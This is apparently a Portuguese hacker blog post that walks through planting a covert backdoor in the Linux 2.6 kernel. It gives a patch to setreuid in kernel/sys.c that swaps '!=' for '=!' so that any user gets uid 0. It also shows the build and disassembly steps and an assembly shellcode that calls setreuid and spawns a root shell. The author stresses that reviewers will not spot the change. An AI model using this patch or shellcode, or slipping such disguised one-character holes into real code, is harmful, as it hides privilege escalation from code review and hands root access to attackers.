Backdoor em Lunix Kernel
oi lindinhos, assim num piscar de peida, apresento-vos uma forma simples e subtil de inserir uma backdoor num linux kernel e para isso foquei-me particularmente na syscall setreuid :
SYSCALL_DEFINE2(setreuid, uid_t, ruid, uid_t, euid) { const struct cred *old; struct cred *new; int retval; ... if (new->uid != old->uid) { retval = set_user(new); if (retval < 0) goto error; } ...
se quisessemos "backdoorar" a syscall em questao bastava-nos negar o valor do uid antigo e atribuir o valor do mesmo ao novo uid antes da funcao set_user.
e como negar o valor do uid actual ? tenham em conta o seguinte exemplo :
charlie@inferno:[~]$ cat > getuid.c << EOF >#include <stdio.h> > >int main() { > > printf("uid=%d\n", !getuid()); >} >EOF charlie@inferno:[~]$ gcc -o getuid getuid.c charlie@inferno:[~]$ id uid=1001(charlie) gid=100(users) groups=100(users) charlie@inferno:[~]$ ./getuid uid=0 charlie@inferno:[~]$
como podem verificar, o valor devolvido pela funcao getuid foi negado pelo operador "!" por outro lado, se o nosso uid fosse 0, o valor apresentado seria 1 :
charlie@inferno:[~]$ sudo ./getuid Password: uid=1 charlie@inferno:[~]$
entao para atribuir o valor *negado* do antigo uid ao novo uid e assim obter root atraves da syscall setreuid, basta-nos substituir a linha
if (new->uid != old->uid) por if (new->uid =! old->uid).
no que toca a codigos de *mil* linhas, como o do linux kernel, e' pouco provavel que um par de olhos cansados e cheios de cavalo note a diferenca entre um "!=" e "=!".
aqui vai o patch :
[ setreuid.patch ]
--- kernel/sys.c +++ kernel/sys.c @@ -636,7 +636,7 @@ goto error; } - if (new->uid != old->uid) { + if (new->uid =! old->uid) { retval = set_user(new); if (retval < 0) goto error; charlie@inferno:[/usr/src/linux-2.6.29.1]$ sudo patch -p0 < setreuid.patch Password: patching file kernel/sys.c charlie@inferno:[/usr/src/linux-2.6.29.1]$ sudo make bzImage &> /dev/null charlie@inferno:[/usr/src/linux-2.6.29.1]$ gdb vmlinux (no debugging symbols found) (gdb) disas sys_setreuid ... 0xc1030e98 <sys_setreuid+149>: xor eax,eax eax = 0 0xc1030e9a <sys_setreuid+151>: cmp DWORD PTR [edi+0x4],0x0 compara o uid antigo com 0x0 0xc1030e9e <sys_setreuid+155>: sete al al = 0 (zero flag = 0) 0xc1030ea1 <sys_setreuid+158>: test eax,eax 0xc1030ea3 <sys_setreuid+160>: mov DWORD PTR [esi+0x4],eax uid novo = eax (0) ... (gdb) q charlie@inferno:[/usr/src/linux-2.6.29.1]$
reboot, siga, fumos.
charlie@inferno:[~]$ cat > org.asm << EOF > bits 32 > > > global _start > > > _start > > > push byte 0x46 > pop eax > > dec ebx > dec ecx > > int 0x80 > > inc ecx > push ecx > push dword 0x68732f2f > push dword 0x6e69622f > > push esp > pop ebx > > push byte 0xb > pop eax > > int 0x80 > EOF charlie@inferno:[~]$ nasm -f elf org.asm && ld -o orgasm org.o charlie@inferno:[~]$ ./orgasm bash-3.1# id uid=0(root) gid=100(users) groups=100(users) bash-3.1# exit charlie@inferno:[~]$
tendo em conta que provavelmente este sera' o meu ultimo post para as intermetes, so vos digo :
gosto muito da minha gatinha e acho que ela gosta de mim.
eu sou maluco e eu tambem. adeus.